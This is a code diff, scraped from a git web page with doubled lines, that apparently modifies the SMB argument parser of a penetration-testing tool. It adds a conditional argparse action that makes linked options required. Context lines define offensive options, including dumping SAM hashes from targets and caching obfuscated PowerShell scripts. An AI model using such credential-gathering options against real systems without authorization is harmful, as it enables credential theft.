dgroup.add_argument("--local-auth", action="store_true", help="authenticate locally to each target")
|
dgroup.add_argument("--local-auth", action="store_true", help="authenticate locally to each target")
|
||||||
|
@ -15,6 +18,7 @@ def proto_args(parser, std_parser, module_parser):
|
||||||
smb_parser.add_argument("--smb-timeout", help="SMB connection timeout, default 2 secondes", type=int, default=2)
|
smb_parser.add_argument("--smb-timeout", help="SMB connection timeout, default 2 secondes", type=int, default=2)
|
||||||
smb_parser.add_argument("--laps", dest="laps", metavar="LAPS", type=str, help="LAPS authentification",
|
smb_parser.add_argument("--laps", dest="laps", metavar="LAPS", type=str, help="LAPS authentification",
|
||||||
nargs="?", const="administrator")
|
nargs="?", const="administrator")
|
||||||
|
self_delegate_arg.make_required = [delegate_arg]
|
||||||
|
|
||||||
cgroup = smb_parser.add_argument_group("Credential Gathering", "Options for gathering credentials")
|
cgroup = smb_parser.add_argument_group("Credential Gathering", "Options for gathering credentials")
|
||||||
cgroup.add_argument("--sam", action="store_true", help="dump SAM hashes from target systems")
|
cgroup.add_argument("--sam", action="store_true", help="dump SAM hashes from target systems")
|
||||||
|
@ -101,3 +105,17 @@ def proto_args(parser, std_parser, module_parser):
|
||||||
psgroup.add_argument("--clear-obfscripts", action="store_true", help="Clear all cached obfuscated PowerShell scripts")
|
psgroup.add_argument("--clear-obfscripts", action="store_true", help="Clear all cached obfuscated PowerShell scripts")
|
||||||
|
|
||||||
return parser
|
return parser
|
||||||
|
|
||||||
|
def get_conditional_action(baseAction):
|
||||||
|
class ConditionalAction(baseAction):
|
||||||
|
def __init__(self, option_strings, dest, **kwargs):
|
||||||
|
x = kwargs.pop('make_required', [])
|
||||||
|
super(ConditionalAction, self).__init__(option_strings, dest, **kwargs)
|
||||||
|
self.make_required = x
|
||||||
|
|
||||||
|
def __call__(self, parser, namespace, values, option_string=None):
|
||||||
|
for x in self.make_required:
|
||||||
|
x.required = True
|
||||||
|
super(ConditionalAction, self).__call__(parser, namespace, values, option_string)
|
||||||
|
|
||||||
|
return ConditionalAction
|
Loading…
Reference in New Issue